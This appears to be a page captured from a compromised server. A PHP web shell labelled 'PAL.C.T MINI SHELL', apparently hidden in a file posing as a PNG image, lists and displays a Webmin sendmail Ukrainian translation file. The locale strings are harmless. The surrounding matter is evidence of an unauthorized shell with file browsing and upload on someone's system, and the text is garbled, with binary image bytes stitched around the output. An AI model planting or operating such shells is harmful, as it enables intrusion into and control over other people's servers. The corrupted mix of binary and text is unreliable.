php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sendmail/lang/
upload
files >> //usr/libexec/webmin/sendmail/lang/uk.auto

index_version2=Версія Sendmail $1, конфігурація $2 
index_xversion=Версія Sendmail $1 
index_sendmail=Sendmail

opts_maxbad=Максимум поганих одержувачів
opts_maxrcpt=Максимум одержувачів на повідомлення
opts_below=Введено нижче ..
opts_qso=Сортування черги пошти за
opts_priority=Пріоритет
opts_host=Ім'я хоста
opts_time=Час отримано

aliases_enofile=У вашій конфігурації Sendmail не визначено жодного файлу псевдонімів
aliases_delete=Видалити вибрані псевдоніми

aform_file=Додати до файлу псевдонімів
aform_cmt=Опис

rfile_replies=Відстежувати відповіді, щоб запобігти циклу пошти?
rfile_none=Ні
rfile_file=Так, використовуючи файл журналу
rfile_period=Мінімальний інтервал між відповідями
rfile_default=За замовчуванням (1 година)
rfile_secs=секунд
rfile_ereplies=Файл журналу відстеження відповіді відсутній
rfile_eperiod=Відсутня або недійсна кількість секунд між відповідями
rfile_no_autoreply=Не надсилайте автовідповіді на
rfile_no_regexp=Не надсилайте автовідповіді на повідомлення, що відповідають регулярним виразам
rfile_from=Від: адреса для відповіді
rfile_auto=Автоматичний (на основі адреси одержувача)
rfile_efrom=Відсутнє: адреса
rfile_fromdesc=Адреса: Адреса: завжди слід вказувати, де це можливо, оскільки автоматичний метод може бути ненадійним.

adelete_err=Не вдалося видалити псевдоніми
adelete_enone=Не вибрано жодного
adelete_ecannot=Вам заборонено видаляти псевдонім $1 

masq_ndomains=Домени не маскувати

virtusers_cmt=Опис
virtusers_delete=Видалити вибрані відображення адреси

vform_cmt=Опис
vform_err_unavailable=Недоступно
vform_err_tempfail=Тимчасовий збій
vform_err_protocol=Помилка протоколу

vdelete_err=Не вдалося видалити відображення адрес
vdelete_ecannot=Видалити відображення для $1 заборонено

mailers_delete=Видалити вибрані маршрути домену

mform_host2=Хост або домен
mform_domain2=Усі хости в домені
mform_domain3=Домен та всі його хости

mdelete_err=Не вдалося видалити маршрутизатор домену
mdelete_ecannot=Видалити маршрут заборонено на $1 

generics_delete=Видалити вибрані вихідні адреси

gsave_ecannot3=Вам заборонено зберігати цю вихідну адресу
gsave_ealready=Відображення вихідної адреси для "$1" вже існує

gdelete_err=Не вдалося видалити відображення вихідних адрес
gdelete_ecannot=Видалити відображення для $1 заборонено

domains_delete=Видалити вибрані відображення домену

dsave_ealready=Відображення домену для $1 вже існує

ddelete_err=Не вдалося видалити відображення домену
ddelete_ecannot=Видалити відображення для $1 заборонено

access_delete=Видаліть вибрані правила контролю спаму

sform_tag=Матч проти
sform_tag_=Все
sform_tag_from=Від: адреса
sform_tag_to=Адресувати
sform_tag_connect=Інформація про з'єднання
sform_tag_spam=Інформація про спам

ssave_ecannot2=Вам заборонено зберігати це правило контролю спаму

sdelete_err=Не вдалося видалити правила контролю спаму
sdelete_ecannot=Вам заборонено видаляти правило для $1 

mailq_dir=Довідник
mailq_flushsel=Очистіть вибрані повідомлення
mailq_flushquar=Очистіть черга з карантину
mailq_flushquardesc=Натисніть цю кнопку, щоб примусити доставку в черзі лише повідомлень з карантину.
mailq_search=Знайдіть повідомлення в черзі, де
mailq_quar=Карантинований
mailq_refresh=Оновити чергу черги
mailq_refreshdesc=Перезавантажте цю сторінку, щоб показати поточний стан черги пошти.

flushq_desc2=Примушування спроби доставки $1 вибраних повідомлень ..
flushq_ecannot=Вам заборонено промивати чергову пошту

searchq_title=Результати пошуку в черзі
searchq_none=Не знайдено жодних повідомлень у черзі.

delq_ecannot2=Ви не можете видалити це повідомлення
delq_rusure=Ви впевнені, що хочете видалити $1 вибрані повідомлення з черги?
delq_confirm=Видалити повідомлення

mail_euserexists=Цього користувача Unix не існує
mail_move=Переїжджати:
mail_copy=Скопіюйте у:
mail_eexists=Повідомлення більше не існує!

view_body=Текст повідомлення
view_flush=Промийте
view_print=Друк
view_egone=Це повідомлення більше не існує
view_afile=Назва вкладеного файлу
view_atype=Тип вкладення
view_aname=Вкладення
view_asize=Розмір файлу

reply_body=Текст повідомлення

delete_title=Видалити пошту
delete_rusure=Ви впевнені, що хочете видалити $1 вибрані повідомлення з $2 ? Великий поштовий файл може зайняти деякий час. Поки видалення не закінчено, жодних інших дій не слід проводити.
delete_rusure2=Ви впевнені, що хочете видалити це повідомлення з $1 ? Великий поштовий файл може зайняти деякий час. Поки видалення не закінчено, жодних інших дій не слід проводити.
delete_ok=Видалити зараз
delete_efnone=Не вибрано пошту для пересилання
delete_emoveuser=Користувача для переміщення пошти не існує
delete_emovecannot=Вам не дозволяється переміщувати пошту вказаному користувачеві
delete_emovenone=Для переміщення не вибрано пошту
delete_nobutton=Не натиснуто жодної кнопки

search_efield=Ви повинні вибрати тип пошуку.
search_ewhat=Для рядка $1 не було введено жодного тексту, щоб відповідати
search_enone=Критерії пошуку не введені
search_results4=$1 електронних повідомлень, що відповідають вашому пошуку ..
search_local=У локальних папках
search_all=У всіх папках
search_eboolean=Булеві пошукові запити, що використовують і "і" і "або", не підтримуються

file_ealias=Недійсний формат для рядка файлів псевдонімів : $1 
file_etab=Недійсний формат для рядка файлу карти : $1 

acl_ports=Чи можна редагувати мережеві порти?
acl_flushq=Чи можна залити чергу черги?
acl_vcatchall=Чи можна створити відображення catchall?
acl_qdoms=Адреси, видимі в черзі
acl_qdomsmode=Адреса черги, щоб відповідати
acl_qdomsmode0=Від: адреса
acl_qdomsmode1=Адресувати
acl_qdomsmode2=Будь-яка адреса
acl_usersu=З UID в діапазоні
acl_spam=Адреси управління спамом, які цей користувач може редагувати

log_ports=Зміна мережевих портів
log_movemail=Перенесено $1 повідомлень від $2 до $3 
log_delete_aliases=Видалено псевдоніми $1 
log_delete_virtusers=Видалено $1 зіставлення адрес
log_delete_domains=Видалено $1 відображення домену
log_delete_accesses=Видалено $1 записи контролю спаму
log_delete_generics=Видалено $1 вихідних адреси
log_delete_mailers=Видалено $1 маршрути домену

match_status=Відповідність статусу
match_headers=Заголовки збігаються
match_=-----------------
match_!status=Статус не відповідає
match_!headers=Заголовки не збігаються

stop_err=Не вдалося зупинити sendmail
stop_ecannot=Вам заборонено зупиняти sendmail
stop_epid=Здається, Sendmail не працює
restart_epids=Не вдалося знайти процеси sendmail
restart_ekill=Не вдалося подати сигнали процесів відправлення пошти : $1 

start_err=Не вдалося запустити sendmail
start_ecannot=Вам заборонено запускати sendmail

ports_title=Мережеві порти
ports_name=Назва порту
ports_addr=Слухати за адресою
ports_all=Усі
ports_ip=IP
ports_family=Протокол
ports_inet=IPv4
ports_inet6=IPv6
ports_port=Слухай на порту
ports_opts=Параметри порту
ports_mod_a=Потрібна автентифікація SMTP
ports_mod_b=Використовуйте той же інтерфейс для вихідної електронної пошти
ports_mod_c=Виконайте канонізацію імені хоста
ports_mod_f=Потрібно повноцінне ім’я хоста
ports_mod_h=Використовуйте назву інтерфейсу для HELO
ports_mod_C=Не виконуйте канонізацію імені хоста
ports_mod_E=Заборонити ETRN
ports_def1=Прийміть електронну пошту на порт 25 та всі адреси
ports_def0=Приймайте електронну пошту лише на портах нижче.
ports_err=Не вдалося зберегти мережеві порти
ports_ecannot=Вам не дозволяється керувати мережевими портами
ports_ename=Недійсне ім'я порту в рядку $1 
ports_eclash=Дублювання назви порту в рядку $1 
ports_eaddress=Відсутня або недійсна IP-адреса в рядку $1 
ports_eport=Відсутній або недійсний номер порту в рядку $1 
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`